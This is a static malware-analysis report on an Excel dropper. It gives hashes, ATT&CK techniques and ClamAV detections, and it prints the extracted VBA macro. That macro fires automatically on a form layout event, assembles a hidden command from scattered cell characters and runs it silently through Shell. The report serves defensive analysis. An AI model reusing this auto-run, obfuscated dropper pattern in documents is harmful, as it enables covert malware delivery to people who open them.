Xls.Dropper.Agent-8900381-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 fc27d175081d94e3…

MALICIOUS

Office (OOXML)

45.7 KB Created: 2020-07-16 09:18:33 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 2540aea01c233fc9be8a70a5ad3b23b1 SHA-1: 66f7d36292484d031ebcac700230dbb4f6f3c70b SHA-256: fc27d175081d94e309d0b60062c573b3975dcdcd70545f8be8af8a11ba616b96
140 Risk Score

Malware Insights

Xls.Dropper.Agent-8900381-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the presence of VBA macros indicate this Excel document is a dropper. The VBA script concatenates strings to form a command, which is then executed by the Shell function. This script is designed to download and execute a second-stage payload, likely from a remote source, and then close the workbook.

Heuristics 2

  • ClamAV: Xls.Dropper.Agent-8900381-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8900381-0
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 979 bytes
SHA-256: 98045960f6ee4e83c5f669db909a773071ee5172e65e3e5aedfd7271aa6585a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "m2, 1, 0, MSForms, Frame"
Private Sub m2_Layout()
nk
End Sub
Sub nk()
For Each kl In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): If Len(kl) > 2.49 Then b = b & Mid(kl.Text, 3, 1)
Next
Application.WindowState = xlMinimized: Shell@ ((((b)))), 0: Application.Wait (Now + TimeValue("00:00:07")): ActiveWorkbook.Close 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: 9e6d3b0913b3bb1fc0f33914fb01a7cb2b2d29f545b744388c1ed3551f5b1b02
Detection
ClamAV: Xls.Dropper.Agent-8900381-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 068b1b5475127332c13ed6c07f9f55ab2bbf3b5b1b0ac4caa9d13171780bc214

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